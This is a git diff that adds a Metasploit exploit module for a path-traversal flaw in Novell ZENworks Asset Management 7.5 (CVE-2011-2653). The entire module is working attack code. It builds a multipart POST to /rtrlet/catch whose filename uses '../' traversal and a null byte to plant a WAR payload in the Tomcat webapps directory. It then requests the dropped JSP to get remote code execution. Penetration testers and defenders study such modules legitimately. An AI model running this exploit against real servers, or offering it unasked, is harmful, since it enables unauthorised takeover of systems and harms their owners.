diff --git a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb new file mode 100644 index 0000000000..d661850d32 --- /dev/null +++ b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell ZENworks Asset Management Remote Execution', + 'Description' => %q{ + This module exploits a path traversal flaw in Novell ZENworks Asset Management + 7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file + outside of the MalibuUploadDirectory and then make a secondary request that allows + for arbitrary code execution. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2011-2653' ], + [ 'OSVDB', '77583' ], + [ 'BID', '50966' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ], + [ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ] + ], + 'Privileged' => true, + 'Platform' => [ 'java' ], + 'Targets' => + [ + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 02 2011')) + + register_options( + [ + Opt::RPORT(8080), + OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3]) + ], self.class ) + end + + def exploit + + # Generate the WAR containing the payload + app_base = rand_text_alphanumeric(4+rand(32-4)) + jsp_name = rand_text_alphanumeric(8+rand(8)) + war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s + + uid = rand_text_alphanumeric(34).to_s + + data = "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n" + data << "prod\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n" + data << "newreport\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n" + data << "n\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n" + data << "malibu.StartImportPAC\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n" + data << "malibu.StartImportPAC\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n" + data << "MM/dd/yyyy\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n" + data << "$\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n" + data << "start\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n" + data << ",\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n" + data << ".\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n" + data << "-\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n" + data << "yes\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n" + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n" + data << "Content-Type: application/octet-stream\r\n\r\n" + data << war_data + data << "\r\n" + data << "------#{uid}\r\n" + data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n" + data << "Html/UploadSuccess.html\r\n" + data << "------#{uid}--\r\n" + + res = send_request_cgi( + { + 'uri' => "/rtrlet/catch", + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=----#{uid}", + 'data' => data, + }) + + print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") + + select(nil, nil, nil, 10) + + if (res.code == 500) + print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") + send_request_raw( + { + 'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp', + 'method' => 'GET', + }) + else + print_error("WAR upload failed...") + end + + end + +end